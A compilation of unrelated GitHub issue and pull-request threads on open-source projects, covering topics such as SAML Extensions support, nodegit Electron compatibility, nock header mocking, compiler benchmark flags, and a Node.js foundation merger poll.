text:
Section IV

Okay, I've just gone through my edits and comments on section IV (see 7f01d763877ed53a1d371f254745480977bcf3b2) and I'm wondering about what to do with this section in general.
I think the paper is rather long, and this section has some very useful stuff in it (but that stuff tends to be a bit technical), but I wonder if there are places we can chop bits out and "appendicize" a fair proportion of it, so the casual read who wants to know how to get going with factor-smooth interactions can get right from the model setups to the examples?
So here is a list, subsection-by-subsection with my thoughts...

"Bias-variance tradeoffs": I think the first two paragraphs can be dropped/integrated into the following text. Probably this issue can be alluded to in the text then appendicized.
"Complexity--computation trade-offs": again, this has a lot of useful info in it, but I'm not sure this should be in the main body of the paper in its current form. Again, I think these issues can be alluded to briefly in the main text, then ellaborated in an appendix.
"Alternative formulations: bam, gamm, and gamm4": I think this would make a great appendix on more complicated computational issues
"Estimation issues when fitting both global and groupwise smooths": seems like this again would be a useful issue to touch on more briefly then flesh out in an appendix.
"A brief foray into the land of Bayes": I cut this fairly brutally (sorry; I'm pretty much fully on the Bayes boat now and I think we've been Bayesians all along, see edits), I'd rather see the generic theoretical content integrated into the text from the start if possible and then have the brms example appendicized (I've commented out this last bit for now).
"Beyond HGAMs: functional regression": I think this is beyond the scope of this paper and we should just mention this in the discussion briefly (I've commented out this section for now).

So, concretely, we'd then have a new appendix which has the following stuff in it:

Bias-variance tradeoffs
Complexity--computation trade-offs
Estimation issues when fitting both global and groupwise smooths
Alternative formulations: bam, gamm, gamm4, brms (maybe also mention other stuff here too?)

The rest of the content will get cut and some absorbed into other sections. That would then smooth (pun intended) the path for readers into the examples section.
I've not made these more drastic edits for now but can do if we all agree they are okay.

Would it make sense, rather than appendicizing a lot of this, moving this whole section to after the examples? Right now it almost functions as a discussion / further research jumping off point anyway, and I'd like to avoid having an appendix besides the code supplemental if we can. Since it's a tutorial paper, I think any advice we want to share on how to fit these models should go in the main paper (no one is likely to read an appendix).

Yeah okay, let's see what that looks like. I wasn't 100% sure on how many words we're at now but if it fits then that's fine by me.

@dill, are you happy with the current arrangement? If so, we should be able to close this.

authors: dill eric-pedersen

repo: noamross/mixed-effect-gams


text:
Feature Request: Run benchmarks even when numerics fail

It would be great to still benchmark a model even when the numerics fail. It's useful to understand the effect a change has on latency, even if it has caused a numerical issue.

Hi Marie,
This PR: https://github.com/nod-ai/SHARK/pull/350 should solve this issue. benchmarks will run before the numerics error is raised.

source: gharchive/issue

authors: mariecwhite monorimet

repo: nod-ai/SHARK

license_type: permissive

license_source: github-api


text:
Fix CI for forks

♥ @newling

Note the README doesn't need to be updated because a clone from this repo (as tested by the previous CI yml) works fine

source: gharchive/pull-request

repo: nod-ai/iree-amd-aie


text:
Default flags: enable function outlining and use -O3 for peano's opt

This PR changes 2 default compiler settings to
1: enable function outlining by default
2: use -O3 in peano's opt by default
For one one our benchmarks (bf16 -> f32 matmul, M=4096 N=K=512), I observe the following times (in milliseconds).

Optimization Level
Outlining
No Outlining

-O2
10.7
5.4

-O3
4.0
5.4

This PR effectively goes from the top-right above to the bottom-left above. The 1.4 ms speed-up is not in the margin of noise. I can't explain it yet, still investigating... to verify locally, you can try
./run.py outdir ${IREE} --peano_dir=$PEANO} --target_device=npu1_4col \
 --xrt_lite_n_core_rows=4 --xrt_lite_n_core_cols=4 \
 --tests=vanilla_matmul_benchmark_4096_512_512_bf16_f32 --verbose \
 --aie_compilation_flags="--iree-amdaie-enable-function-outlining=0  --iree-amd-aie-additional-peano-opt-flags="-O3\""

And vary the value of --iree-amdaie-enable-function-outlining=. and --iree-amd-aie-additional-peano-opt-flags=.
Perf numbers also in CI.

Nice!!!!

LGTM. Maybe at some point we don't need to keep track of the non-outlined performance, but I think it's good to keep it for a while for reference.

Yeah, I agree. We should keep adapting the set of tests being tracked for performance based on what our goal is, and consider having another set of less visible performance tests with thresholds above which PRs fail

authors: MaheshRavishankar newling


text:
Is there a downloadable version that supports node 5?

I tried installing the version ffi@v0.4.2 that appears as the last one with support for node 4, but this version is not available for download in npm, is there any version available that has support for node5?

Travis-CI is still testing node v4, v5, and v6. Also ffi@0.4.2 is ancient. Which version of Node.js specifically are you using?

I'm using node v5.12.0
Thanks for the reply

So latest version of ffi should work just fine still. Does npm install ffi give you errors?

Sorry @TooTallNate, my problem aren't with ffi itself, the problem are my version of npm, when I downloaded the node v5.12.0 it comes with npm with a old version, when update it the installation worked.
After that I needed rebuild ffi and ref with nw-gyp to use ffi in my node-webkit app.
Thanks.

authors: TooTallNate oborba

repo: node-ffi/node-ffi

license: MIT


text:
Authorization header isn't mocked.

Api Call
buyerAction = (data = {}, cb) => (dispatch) => {
  console.log('x-access-token', authService.getAccessToken());
  axios({
    method: 'POST',
    url: `http://localhost:3001/api/manageUsers`,
    headers: {
      'x-access-token': authService.getAccessToken()
    },
    data
  }).then((res) => {
    if (res.status === 200 && res.data) {
      dispatch({ type: 'buyer_created', data: res.data.message });
      if (data.role === 'buyer') {
        axios({
          method: 'POST',
          url: `http://localhost:3001/api/populateBuyerLookUp`,
          headers: {
            'x-access-token': authService.getAccessToken()
          },
          data
        }).then((response) => {
          console.log(`${response} lookup is created`);
        }).catch((err) => { console.log(err); });
      }
      cb(res.data.message);
    }
  })
    .catch((err) => { console.log('_+_+_+', err); });
};

testcase :
const middleware = [thunk];
const mockStore = configureMockStore(middleware);

describe('Async Actions', () => {
  const host = 'http://localhost';

  axios.defaults.host = host;
  axios.defaults.adapter = httpAdapter;

  afterEach(() => {
    nock.cleanAll();
  });

  it('should create Async and load data', (done) => {
    nock('http://localhost:3001', {
      reqheaders: {
        'x-access-token': 'authtoken'
      }
    })
      .post('/api/manageUsers')
      .reply(200, { body: { name: 'prakash' } });

    const store = mockStore({}, [{ type: 'buyer_created', data: 'message' }]);

    store.dispatch(buyerAction(undefined, () => {}));

    done();
  });
});

Error:  x-access-token undefined
TypeError [ERR_HTTP_INVALID_HEADER_VALUE]: Invalid value "undefined" for header "x-access-token"
How to mock header?

I don’t think this is a problem with nock, try to reduce your test case. If you have a reproducible test case on runkit such as https://runkit.com/gr2m/5a2b2a9b890d1b00120eada4 then I’d be happy to help out.
If you have a "How do I ..." question, then asking on Stack Overflow using the nock tag is more helpful

Wouldn't you simply specify the header in the reply in your nock call in the test?
nock('http://localhost:3001', {
      reqheaders: {
        'x-access-token': 'authtoken'
      }
    })
      .post('/api/manageUsers')
      .reply(200, { name: 'prakash' }, {'x-access-token': 'authtoken'});

I might be missing something here.

closing due to inactivity

authors: RichardLitt gr2m prakashchandrabarnwal

repo: node-nock/nock

license: mit

license_source: bigquery


text:
[Documentation] revokeAuthorizationCode argument should be named code.authorizationCode, not code.code

Specify your setup
N/A -- purely a documentation issue
Describe the bug
View the documentation here:
https://node-oauthoauth2-server.readthedocs.io/en/latest/model/spec.html#revokeauthorizationcode-code
Snapshot of how it looks now:

There is one thing that is confusing about this, and one thing that I believe might be incorrect.
Confusing:

The code argument is described as The return value (I think this means it's identical to the value returned by getAuthorizationCode, but it is a bit confusing in the context of describing a function parameter)

Possibly incorrect:

The code.code argument does not match the return value of getAuthorizationCode, which would be code.authorizationCode instead.

Below, when a sample implementation snippet is provided, it actually uses authorizationCode and not code:

Also, when I look at an example of a consumer of this library (@leaonline/oauth2-server), I see that in fact the field used does appear to be named authorizationCode, not code:
https://github.com/leaonline/oauth2-server/blob/master/lib/model/meteor-model.js#L118
So I believe it is just a typo in the docs.
Expected behavior
Ideally, the docs should be updated for clarity.
The description for the code argument overall could be updated to something like "The code to be revoked," mirroring the description for saveAuthorizationCode.
And the code.code field could be renamed in the docs to code.authorizationCode.
Additional context
I'd be happy to submit a small documentation fix PR if maintainers agree that what I'm suggesting makes sense. :)
Just sending an issue first to comply with the "No PR without issue" rule in the Contributing guidelines:
https://github.com/node-oauth/node-oauth2-server/blob/074e3921edb41763999df4ad1c95e9c029675318/CONTRIBUTING.md#no-pr-without-issue

Actually, as I read the docs more, I'm a little unsure that it's true that it should be authorizationCode, as the documentation for getAuthorizationCode does in fact use code.code, even though saveAuthorizationCode uses code.authorizationCode. Maybe the intentional was always to use code.
Either way, the docs for revokeAuthorizationCode are internally inconsistent, though, since the field documentation says code.code but the example snippet shows code.authorizationCode.
It is interesting to me that the consumer I looked at saves and returns authorizationCode instead of code:
https://github.com/leaonline/oauth2-server/blob/master/lib/model/meteor-model.js#L98
...but, maybe it doesn't actually matter what it's called, as long as it is consistent between getAuthorizationCode and revokeAuthorizationCode? (i.e., we always use code or always use authorizationCode?)

Hi @menewman thanks a lot for pointing this out! Since we forked the project and inherited the docs there may be details we simply missed during reviews. Generally, we are very thankful for every PR that fixes issues with code and docs! I
will take a look at things and come back to you.

You are right:

The code.code argument does not match the return value of getAuthorizationCode, which would be code.authorizationCode instead

This is wrong in the current documentation of revokeAuthorizationCode

Actually, as I read the docs more, I'm a little unsure that it's true that it should be authorizationCode, as the documentation for getAuthorizationCode does in fact use code.code, even though saveAuthorizationCode uses code.authorizationCode. Maybe the intentional was always to use code.

This seems to be a typo, too. We did a rewrite and renamed code.code to code.authorizationCode to avoid confusing namespaces but this seems to be slipped when reviewing the docs.
The return type of getAuthorizationCode is simply what the Model returns and if your Model saved the code with the same structure as proposed in saveAuthorizationCode it is likely to be code.authorizationCode rather than code.code.
I also searched the tests and none of them used code.code or { code: ... } in any responses anymore.
Summarized, yes the docs are wrong and there should nowhere be a code.code parameter anymore.

Thank you for reviewing, @jankapunkt!
In that case, I'd be happy to submit a PR to clean up the docs so they consistently say code.authorizationCode 👍
[off-topic] I found all of your work on this OAuth library (and on the Meteor package that consumes it) to be very, very helpful in understanding and working with OAuth within a Meteor application that I'm working on. So even though we haven't met, I wanted to say that you rock and I really appreciate your work and knowledge-sharing. I'm a fan! 🙏 🙌

authors: jankapunkt menewman


text:
Feature: add facility in config to add <Extensions> element in SAML request

Issue
close https://github.com/node-saml/passport-saml/issues/602
Linked PR: https://github.com/node-saml/passport-saml/pull/607
Description
Add support in passport-saml where it will allow admin to configure fully customise <Extensions> element and add it into SAML Request.
<Extensions> element are use to request custom attributes and setting. Its structure and values different as as IDP configurations and requests.
Use cases

Use <Extensions> element to request attributes/data. More details, oasis-open.org SAML V2.0 Protocol Extension for Requesting Attributes per Request
Use <Extensions> element to request with some custom config. For Example: In suomi.fi idp, its allows SP to request with custom language code by passing it <Extensions> element. More details

Changes

src/node-saml/types.ts : added extensions optional variable. The type is any and it accept XMLBuilder type values because as per use cases and IDPs', there are many cases and each use cases have different request format/data. Please let me know what is your view on this.
src/node-saml/saml.ts: added it in request. As it has already XMLBuilder values so no need to do any processing.
Test cases added
Docs updated
No Breaking Changes

Checklist:

[x] Issue Addressed
[x] Link to SAML spec
[x] Tests included
[x] Documentation updated

I think @cjbarth we can start discussion from here https://github.com/node-saml/passport-saml/pull/607#issuecomment-864079774

What do you think about taking the object as JSON or XML literal and then, in the ctor, making sure it can be converted to an XMLBuilder object for internal usage? That would allow a user to pass in what they like, but it means that we get strong typing and can validate that the XML structure is correct and throw an error while constructing if they passed in something bad.

Thank you @cjbarth for quick response. Currently user can pass json which is directly accepted by XMLBuilder
samlExtensions: {
  "md:RequestedAttribute": {
    "@isRequired": "true",
    "@Name": "Lastname",
  },
  vetuma: {
    "@xmlns": "urn:vetuma:SAML:2.0:extensions",
    LG: {
      "#text": "sv",
    },
  },
},

So could you please describe, instead of above one what json/xml format you like to pass?
samlExtensions: {
     ????
}

I'm not suggesting a different format. I'm suggesting that you adjust the ctor so that we validate the incoming data and throw if it doesn't conform to some basic checks. I'd really prefer not to blindly take whatever is put there and just add it to the outgoing SAML document.

If I remember correctly extensions type in schema is ”sequence of any” so there isn’t much to check except that provided xml elements are valid.
When those two example xml elements provided by @kdhttps would be added/injected to authn request generated by node-saml resulting authn request saml protocol message would not be valid because value for md namespace prefix is not defined (side note: it refers propably to urn:oasis:names:tc:SAML:2.0:metadata and RequestedAttribute sample is propably copied from some SAML Service metadata example).
node-saml module could for example validate generated authnrequest XML message against SAML Schemas just before it is delivered to IdP. This way erronous/non-valid XML issues would be more easily detected by application developers at application side instead of receiving some cryptic error message from IdP.
In fact validation of SAML messages against SAML schema is proposed by OWASP (although following cheat sheet seems to be written from receiver point of view): https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html
FWIW: Here is also example of European Union’s eIDAS specification which also uses extensions (in service metadata and authn request):
https://ec.europa.eu/cefdigital/wiki/display/CEFDIGITAL/eIDAS+eID+Profile
and
eIDAS SAML Message Format
https://ec.europa.eu/cefdigital/wiki/download/attachments/82773108/eIDAS SAML Message Format v.1.2 Final.pdf?version=3&modificationDate=1571068651727&api=v2
see chapter 6 from pdf to concrete examples.
BTW. @kdhttps if I interpreted current content of this PR correctly samlExtensions are fixed during SAML object creation (i.e. same values are used for each authnrequest). If I have understood correctly values at authn request’s extensions could change per authnrequest (e.g. vetuma language which is used to signal end user’s preferred language to be used at IdP side UI).

BTW. @kdhttps if I interpreted current content of this PR correctly samlExtensions are fixed during SAML object creation (i.e. same values are used for each authnrequest). If I have understood correctly values at authn request’s extensions could change per authnrequest (e.g. vetuma language which is used to signal end user’s preferred language to be used at IdP side UI).

No sure Mate, Currently I have a requirement to keep it fixed. But I can see in suomi.fi docs that there are some other ways also to pass language element.
About schema validation, I think we don't have a fixed schema to validate it with SAML Request XML, as you can see there are many saml extensions possibilities. I have gone through the owasp.org saml secuirty cheat sheet docs, it is very generic and mostly about TLS and HTTPs network security. There is some point about SAML Schema validation but they didn't provide any schema, it is up to us to make the first schema and validate it with SAML Request XML but again the same situation many saml extensions possibilities.
So I guess, the application developer has to manually verify saml request. Please let me know if I missed something and Let me know your suggestions.
Thank you, Team!

@kdhttps as I said there isn’t any schema which could be used to validate content which is put to extensions block

If I remember correctly extensions type in schema is ”sequence of any” so there isn’t much to check except that provided xml elements are valid

I should have used word well-formed instead of valid in that particular paragraph.
On third paragraph my proposal was to use validating XML parser to validate e.g. produced authnrequest. This would implicitly check that extensions element doesn’t contain something that would not pass authnrequest validation from XML document validation point of view (for example elements which use unbound namespace prefixes or malformed xml which are pretty much only validations that could be done to content of extensions element because it - the content of extensions - can seq).
SAML protocol schema is available e.g. from here https://docs.oasis-open.org/security/saml/v2.0/saml-schema-protocol-2.0.xsd
About enabling different extensions element content per request. IMHO if authnrequest extensions content is meant to be used to provide different content per authnrequest then node-saml library should enable it instead of forcing developers to instantiate new SAML object per request  (of course implementation could merge some values from stack configuration options but it should also allow real per request content). Not directly related to this case but passport-saml has already one ”half baked” per request thing see https://github.com/node-saml/passport-saml/issues/541#issuecomment-788111948
btw. you can use e.g. this https://www.samltool.com/validate_xml.php to debug authnrequests produced by node-saml. It shall produce error if extensions contains elements which namespace prefix is unbound / undefined (I am referring to this pull request’s README.md content and specifically to md:RequestedAttribute stuff at that example)

SAML protocol schema is available e.g. from here https://docs.oasis-open.org/security/saml/v2.0/saml-schema-protocol-2.0.xsd

About, XML Schema validation, I found libxmljs which provide facility to validate xml again schema. I need your suggestion on this lib. May I use it for validation?
I can see, node-saml is using xml2js, xmlbuilder and xmldom but no one have validation feature. Iet me if you have any other option or use libxmljs??
Thank you!

I need your suggestion on this lib. May I use it for validation?

@kdhttps just in case this question was directed for me: if node ecosystem does not have native javascript xml library which understand xml schemas I would not introduce yet another xml library dependency (which needs native library). I would just let developers to make sure that they don't mess up with extensions and if they do then they just have to communicate with their IdP provider whats wrong with authnrequests syntax.
For the record: I am not using passport-saml or node-saml and not going to use these. Checking out passport-saml every now and then is more like a hobby. So you should wait @cjbarth and @markstos etc. comments before proceeding with those content checks requested by @cjbarth

For the record: I am not using passport-saml or node-saml and not going to use these. Checking out passport-saml every now and then is more like a hobby.

Great :100:  @srd90

So you should wait @cjbarth and @markstos etc. comments before proceeding with those content checks requested by @cjbarth

Sure, let's wait!!!

I'm not a big fan of using libraries that require node-gyp; I'd rather see pure JavaScript solutions. When I'm talking about validation, I'm looking for two things, primarily:

A value that is passed in, which node-saml can't accept, should return a clear error.
A value which is known to be wrong, or at least obviously malicious, shouldn't be accepted; see rule 1.

I understand that rule 2 would be a little hard to determine without validating against some schema. I'm not opposed to a schema validation, in fact, I think that would yield some real long-term benefits to the system. However, I feel like there is an opportunity for some low-hanging fruit here, short of such a full validation system. If we simply check the incoming <extension> payload to make sure it is valid XML and that it contains the basic structure (test a few keys and attributes), I think we will hit a minimum acceptable level of fitness for use.

Thanks for working on this @kdhttps. I just had a customer ask if we supported this feature as well, so I'm also interested to see this get merged.

@cjbarth
About,

A value that is passed in, which node-saml can't accept, should return a clear error.

After some research I found that we can add one validation where element must have namespace like @srd90 maintained here. I am not finding any other validation check for <extensions> element.
About,

A value which is known to be wrong, or at least obviously malicious, shouldn't be accepted; see rule 1.

I found this XML Security Cheet sheet. Most problem should be handle by parser(at IDP side) and we are not parsing xml. we are just taking JSON from user and passes it to XMLBuilder to make XML request. But we need to restrict malicious data like this. To restrict this, I didn't add any code as It is already handled by xmlbuilder npm. In fact, it is apply many validations like this examples.
Please review code and let me know if you want me to add/change anything.
Thank you!!!

@srd90 @cjbarth added samlLogoutRequestExtensions feature, please review

https://github.com/node-saml/node-saml/pull/11#discussion_r708432574

I agree, it seems wise that we add functionality in bit-sized pieces as people need it. This seems like a base that we can work with without any breaking changes to add the new feature. Is that your estimation too @kdhttps , that adding these additional features would result in no breaking changes?

@cjbarth sorry, didn't get your point. agree on what? I am not seeing any breaking changes. Both features are optionally configurable.

authors: cjbarth kdhttps markstos srd90

repo: node-saml/node-saml


text:
keyInfoProvider.getKey should be async

(I'm on a roll, I know, but it's a good roll, right?)
The example for getKey in the README is using fs.readFileSync which is nice and all when you can actually use a sync version of a function - what I'm facing right now is a DER encoded key and so far - I haven't found a nice way to convert it to PEM (or use as is in crypto) other than by calling openssl -inform DER -outform PEM and doing that synchronously is really not an option.

Found a sync way to convert DER to PEM in node.js (not sure if it's best/shortest):
var forge = require("node-forge");
var derKey = forge.util.decode64(certs[0].childNodes[0].data);
var asnObj = forge.asn1.fromDer(derKey);
var asn1Cert = forge.pki.certificateFromAsn1(asnObj);
return forge.pki.certificateToPem(asn1Cert);

what i actually do in my apps based on xml-crypto is convert all keys to PEM format, on application start read the files with fs.readFile and keep the values in a shared module, and finally pass the result (Buffer) to my custom key info provider, with this way i don't read the key file every time and the keyInfoProvider.getKey method will never block my program because it is only retrieving what i have read before.

Oh, OK. I was thinking about preloading, except that I figured that you do have to read it out from keyInfo param - in my case, I do get an <X509Certificate/> (in base64 encoded DER) inside the keyInfo. There is a strong use case for both - CPU heavy ops and I/O inside this method, so async felt natural.
Anyways, this is not an issue for me anymore [for now], so feel free to close this, if you consider the async getKey unnecessary.

Ok, now i understand your use case :) i agree that async must be the way to go, it just would require to make some other methods async too.. I will leave this open until we implement this (after the module's author agree with this too)

@bjrmatos @dominykas , we'd love to have a PR with a test suite that addresses these concerns. Feel free to open one and we'll discuss.

No longer relevant: KeyInfoProviders have been removed from 4.x onwards, and will eventually be replaced by a new approach to retrieve keys, where responsibility for key retrieval is placed on the caller

authors: LoneRifle bjrmatos cjbarth dominykas

repo: node-saml/xml-crypto


text:
domain doxmate.cool is expired

https://wechat-api.kainy.cn/node-webot/wechat-api/api.html 用这个吧。

authors: airyland kainy

repo: node-webot/wechat-api


text:
Make nodegit context-aware for compatibility with Electron 9 and beyond

Electron 9 changed the default value of app.allowRendererProcessReuse to true, which breaks nodegit. Setting it to false manually fixes the issue, but this will only be possible until Electron 11.
Are there any plans to fix this? Seems like #1298 might be related. Also see https://github.com/electron/electron/issues/18397 for more information.
System information

node version: v12.16.3
npm or yarn version: 6.14.4
OS/version/architecture: win32 10.0.18363 x64
Applicable nodegit version: 0.26.5

node -v
npm -v # (or yarn -v)
node -e "console.log(process.platform)"
node -e "console.log(require('os').release())"
node -e "console.log(console.log(process.arch))"

This definitely needs to be looked in to, if not prioritized, for the future of nodegit in Electron environments given how fast Electron releases are rolling out. With RC for Electron 10 already out, it's only a matter of (short) time before 11 is the norm.

Is there a preference for context-awareness over n-api compat?

Axosoft is aware that we need to update this shortly. We'll be putting 2 engineers on this after our next release. Definitely prefer switching to n-api compat, that seems like a better long term. There's also a ton of utility in n-api that should simplify a lot of extra work we've had to do (thread safe callbacks, I'm looking at you).

Awesome, good to hear that!
@maxkorp To be honest I have no idea what the difference and generally the context here is, I just used the terminology I saw in the warning messages :p

An update: I'm starting work on this officially. I am currently working on making sure that I'm not going to back myself into a corner by moving to N-API. There are some concerns I have with moving toward N-API that have to deal with the differences between ObjectWrap in N-API and in NAN and how we use them in NodeGit. In particular the inheritance model for https://github.com/nodegit/nodegit/blob/master/generate/templates/manual/include/nodegit_wrapper.h has me a bit worried about initializing classes using https://github.com/nodejs/node-addon-api/blob/master/doc/object_wrap.md. It almost seems incompatible to me because of the DefineClass macro. This is possibly my own shortcoming that I don't necessarily know how to make these compatible with each other...
The other concerning thing is to do with our use of an internal thread pool. We built a thread pool https://github.com/nodegit/nodegit/pull/1019 here to solve thread pool saturation when sharing with the standard node pool; if we moved to N-API i suppose that this would mean that users would need to consider increasing UV_THREADPOOL_SIZE to prevent saturation... It also could be resolved by having NodeGit itself run in a worker thread (a benefit of context-aware native modules)... but that would actually be a holistic nightmare for devs of GitKraken and I assume current users of nodegit for the amount of refactor necessary to move nodegit off of the main loop and onto a worker...
It seems like between some of those problems, Context Aware API is probably not only a shorter change, but less destructive downstream. I'm not a fan of NAN and raw v8, and NAPI is a lot cleaner imo, but we're not even going to get the benefits of ABI compatibility because of our reliance on libuv for a separate thread pool and the OpenSSL symbols that ship with Node.
All of this is to say, we're still going to be context aware by the time Electron 11 lands, but I think I'm going to change direction and try to update the library to be context-aware instead.
I think some of my major goals here are:

Fix async resources across async workers and callbacks
Ensure worker threads are 100% supported by the library.

After doing some reading up, I think that's a fair evaluation and a good direction to head

Making some progress with modeling the threadpool updates. Ran into a snag with Node's cleanup callback. Looks to be solved here https://github.com/nodejs/node/issues/34567. I'm going to continue development with the thread pool with the assumption that this will land in downstream in Node sometime soon. If that's in betore I finish great! If not, then I will end up shutting off worker support until it does land.

Hm, this opens up the door for the next real issue, since a libgit2 execute thread can be active during shutdown, that libgit2 function could be trying to make callbacks back into javascript. In those cases, we need to be sending back the cancellation flag back to libgit2 on any callbacks that the user has defined. For callbacks that don't have cancellation, we just need to ignore them. I think in general, we want the libgit2 functions to either finish to completion or cancel when they require more javascript interation.
This is all predicated on what the Node devs have explained, which is that once cleanup of a worker thread has started, no more attempts should be made to communicate back to the javascript thread. At that point we should wait for completion of all execute threads while actively cancelling operations via callbacks when we see them come through. Any callback batons that get created should forcefully close if they do not have results ready from the JS thread.

That was a wild ride, but we think we got worker threads and async resources fully functional in #1795

@implausible Awesome! Great work guys :) Looking forward to a release!

I'm not sure what the timeline is atm. We're waiting on a backport of async native node module cleanup for node 12. It looks like we're going to have to drop support for Node 10, and Electron 8/9 as no backport was mentioned for it.

@implausible Is there an issue/place to track the progress of the backport for node?

So we merged this today, you can expect we'll get an alpha going shortly that will give an opportunity for users to test the updated NodeGit for stability. It looks like the required patches to run NodeGit for Electron will not make it into 9-x-y, nor will Node 10 be pulling in the updates as far as I can tell (though they might at a later date).
For now after we release the alpha, we will have new minimum targets for Electron and Node.
Node: > 12.19 and > 14.10.0
Electron: > 10.1.4 and > 11.0.0-beta.8
I suppose we'll keep it in alpha until Electron 11.0.0 is released or until we see support land in Electron 9-x-y and Node 10.

Hey @implausible - had some time so went to test this today, but noticed the alpha isn't published on NPM
Also, Electron 11 has since been released - have there been enough tests to publish 0.28.0? If not, could the alpha be published on NPM?
Thanks

If not, could the alpha be published on NPM?

I was working on this last week and continue to work on it this week. Something has gone wrong in CI since the last publish. I've fixed the nodegit repo's side of things, but the electron prebuilder job is broken for mac and windows. Once that is fixed the alpha will be on NPM.

Oof it looks like the API provided by the node team was not ABI compatible. It looks like chromium in M75 started using a different std lib. We'll have to get that patched in Node and Electron. In the meantime it looks like NAPI might provide a quick workaround... Working on it.

I'm reopening this issue as there is no workaround without attempting to change compilers for NodeGit entirely. It looks like we're going to need to wait for a patch from Node and then Electron I've opened an issue surrounding what's stopping us from compiling and introducing our context-awareness changes with Node. Apologies to anyone who was affected by this delay. We should have at least checked on the beta build with Electron 11, but I had not anticipated such a dramatic change to how Electron is compiled.
https://github.com/nodejs/node/issues/36349

We'll be picking this up again. Thanks for everyone's patience. It looks like we're heading down the rabbit hole of getting node-gyp to play nicely with clang on Windows via VS2017.
I think we'll need to open up some PRs to https://github.com/nodejs/node-gyp and https://github.com/felixrieseberg/windows-build-tools so that we can normalize the installation of clang on windows as well as force Electron compilation to leverage clang on Electron 11 and above.
I think once we're there we can get this built and moved out.

We'll be picking this up again. Thanks for everyone's patience. It looks like we're heading down the rabbit hole of getting node-gyp to play nicely with clang on Windows via VS2017.
I think we'll need to open up some PRs to https://github.com/nodejs/node-gyp and https://github.com/felixrieseberg/windows-build-tools so that we can normalize the installation of clang on windows as well as force Electron compilation to leverage clang on Electron 11 and above.
I think once we're there we can get this built and moved out.

Heads up to those who need this. I am currently super locked at work with a lot of high priority tasks and this is slipping. I have made progress and have a potential fix, but it needs to be merged into Electron and a release needs to be made before we can move forward here.
This patch needs to make it into 11-x-y and 12-x-y on Electron https://github.com/nodejs/node/pull/37000. Once this is in, I have tested and confirmed that NodeGit will compile for Electron.
It's not likely I will open this before end of month, but I will try to get it done by end of month. The GitKraken team needs this, so it won't be dropped at the minimum.
Again sorry for the delays.

Updating, after these 3 merge: https://github.com/electron/electron/pull/28108, https://github.com/electron/electron/pull/28109, https://github.com/electron/electron/pull/28110

Those are merged now, next up is Electron to release their latest builds

Any progress?

I think this issue can be closed now?

@MikeJerred  Is it solved then? I don't see any new releases confirming this ...

No, but the comments by @implausible seem to suggest that this issue would be fixed once certain PRs get merged to electron and nodejs - all of which have since been merged. Also I am able to build and run it fine on modern versions of electron - I have tried v12.0.7 and v16.0.4 so far which shouldn't be possible according if this issue were outstanding.

Good to hear, but I rather wait for the official release to mark it solved, than rely on alpha releases...

authors: Livven MikeJerred gpetrov implausible maxkorp oyed ylc395

repo: nodegit/nodegit


text:
feat: create amaro loader

I'm currently trying to figure out how to export amaro as a loader.
The main issue is that I would like transformSync to get the configuration from a .swcrc file.
@kdy1 I dont think it will automatically search for it, or is there another way?

This will behave exactly as the one in core, and it requires --experimental-strip-types to be enabled, so it uses node.js .ts resolution. This only overrides the swc transform function, and I would like to make it customizable

PTAL @nodejs/typescript @nodejs/loaders

There are cases in node core where the cjs loader will return undefined source code https://github.com/nodejs/node/blob/3cbeed88d9de9231f420ba53ad0e4d4a7af9c637/lib/internal/modules/esm/get_format.js#L131-L136

There are cases in node core where source will be undefined https://github.com/nodejs/node/blob/3cbeed88d9de9231f420ba53ad0e4d4a7af9c637/lib/internal/modules/esm/get_format.js#L131-L136

IIUC that's only true for when format is nullish; the comment explains when defaultResolve returns a nullish format – and it doesn't matter for us, because Amaro will only deal with TS files

There are cases in node core where source will be undefined https://github.com/nodejs/node/blob/3cbeed88d9de9231f420ba53ad0e4d4a7af9c637/lib/internal/modules/esm/get_format.js#L131-L136

IIUC that's only true for when format is nullish; the comment explains when defaultResolve returns a nullish format – and it doesn't matter for us, because Amaro will only deal with TS files

Apparently it happens so I add to check here https://github.com/nodejs/node/blob/3cbeed88d9de9231f420ba53ad0e4d4a7af9c637/lib/internal/modules/helpers.js#L335

repo: nodejs/amaro


text:
Results of Merger Poll for Node.js TSC and CommComm members

Over the past week I've been running an informal poll of @nodejs/tsc and @nodejs/community-committee members for the simple purpose of taking the "temperature of the room" with regards to the proposed merger. We had 29 responses, including 2 from non-TSC and non-CommComm members. I have removed the two non-top level committee member responses from the results. Note that there are currently 34 top level committee members so 27 is a solid representative sample. (Note that not every respondent provided answers to every question)
I will not provide the details of how each individual voted but the result charts are below along with a few notes...

76% of the respondents feel that they understand the goals of the proposed merger. 20% indicate that they do not. That's a pretty solid ratio.

Far more concerning is that 28% do not believe that the proposed merger will benefit Node.js (compared to 26% who believe that it will). Striking here is the 36% who are not yet sure. More on this in a bit.

In comparison, 72% believe that the proposed merger will benefit the JS Foundation projects, with 24% not sure.

52% believe that they understand the motivations for the timeline that has been proposed by the Boards for the merger. I think the more important bit here, however, is that the other 48% either aren't sure or do not understand the timing. My interpretation of this is that significantly more can be done to communicate the rationale for the proposed timing.

This is an interesting one, not only because the ratio of those who agree to those who disagree is effectively equal, but because only 36% of the respondents can say that they believe that the Foundation Board has adequately considered the needs of the project when evaluating the proposed merger.

This question is problematic for me. 57.7% of the respondents do not believe that the proposed merger would solve any existing problems in the Node.js project. More striking is that only 23% believe that it will.

Equally striking are the number of respondents who believe that Node.js must have representation on the Foundation Board. As has been pointed out in a different discussion, this does not address the question of why folks believe that representation is needed, but it will be critical to address this point.

Back on the issue of the timeline. Only 28% believe that the merger should proceed on the current timeline, 32% saying that it should not. Before we advance further along with the current agenda, it's going to be important to address this and take another look at the proposed timeline.

This particular question is interesting not necessarily because only 20% of the respondents believe that the proposed merger would be good for the Gold and Silver level member companies, but because nearly all of those who said that it would be good are employed by Platinum member companies.

This one goes along with the question about whether the proposed merger would solve any existing problems in the Node.js project. Only 20% believe that the merger would make it easier for the Foundation to provide additional resources to the project. Given that one of the arguments in favor of the merger has been that it would be easier to provide resources, there is obviously a discrepancy in expectations here that needs to be addressed.

The majority of respondents definitely have opinions about the proposed merger :-)

This is another striking response in that only 37.5% of the respondents believe that concerns have been adequately addressed. Whereas 33.3% believe that more can be done to address concerns and a significant 29.2% either aren't sure or don't have an opinion.
Overall, these results communicate that significantly more should be done to communicate the rationale, address the concerns, and establish the goals for the proposed merger among the Node.js top level committee members. The majority of Node.js top level committee members aren't yet seeing the benefits to the Node.js project but do recognize that the merger would likely be good for the JS Foundation projects.

